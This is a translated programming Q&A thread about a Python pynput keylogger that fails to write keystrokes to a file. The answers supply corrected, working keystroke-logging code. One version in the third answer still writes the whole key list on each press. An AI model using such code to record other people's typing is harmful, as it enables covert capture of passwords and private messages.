Python keylogger不会将击键保存到文件

Question

这个程序运行得很好，尽管它不会将我的击键保存到keylogger.txt中

from pynput.keyboard import Key, Listener

keys = []
count = 0

def key_pressed(key):
    global keys, count
    keys.append(key)
    count += 1
    print(key)

def write_to_file(keys):
    with open("keylogger.txt", "a") as f:
        for key in keys:
            f.write(str(keys))
if count == 1:
    count = 0
    write_to_file(keys)
    keys = []

with Listener(on_press=key_pressed) as listener:
    listener.join()

我的代码中的问题出在哪里？

Answer 1

您的write_to_file代码永远不会运行。您更改了count的值，但不会再次运行write_to_file。在key_pressed块中放置一个write_to_file调用，这将会发生。

Answer 2

我不能完全确定在你的代码中发生的“缓冲”，但我会这样做：

from pynput.keyboard import Key, Listener

def key_pressed(key):
    print(key)
    with open("keylogger.txt", "a") as f:
        f.write(str(key) + "\n")

with Listener(on_press=key_pressed) as listener:
    listener.join()

代码中的if语句只执行一次，因此永远不会调用write_to_file函数。

Answer 3

问题是代码的这一部分。

if count == 1:
    count = 0
    write_to_file(keys)
    keys = []

代码中的这个块永远不会运行。

如果您想使用与您的代码相同的格式，请使用此代码。但是在下面附加了一种更简单的方法

from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
    global keys, count
    keys.append(key)
    count += 1
    print(key)
    if count == 1:
        count = 0
        write_to_file(keys)
        keys = []

def write_to_file(keys):
    with open("keylogger.txt", "a") as f:
        for key in keys:
            f.write(str(keys))


with Listener(on_press=key_pressed) as listener:
    listener.join()

同一个的另一个实现

from pynput.keyboard import Key, Listener

def key_pressed(key):
    # Stop listener
    if key == Key.esc:
        return False
    with open("keylogger.txt", "a") as f:
        f.write(str(key))
    

with Listener(on_release=key_pressed) as listener:
    listener.join()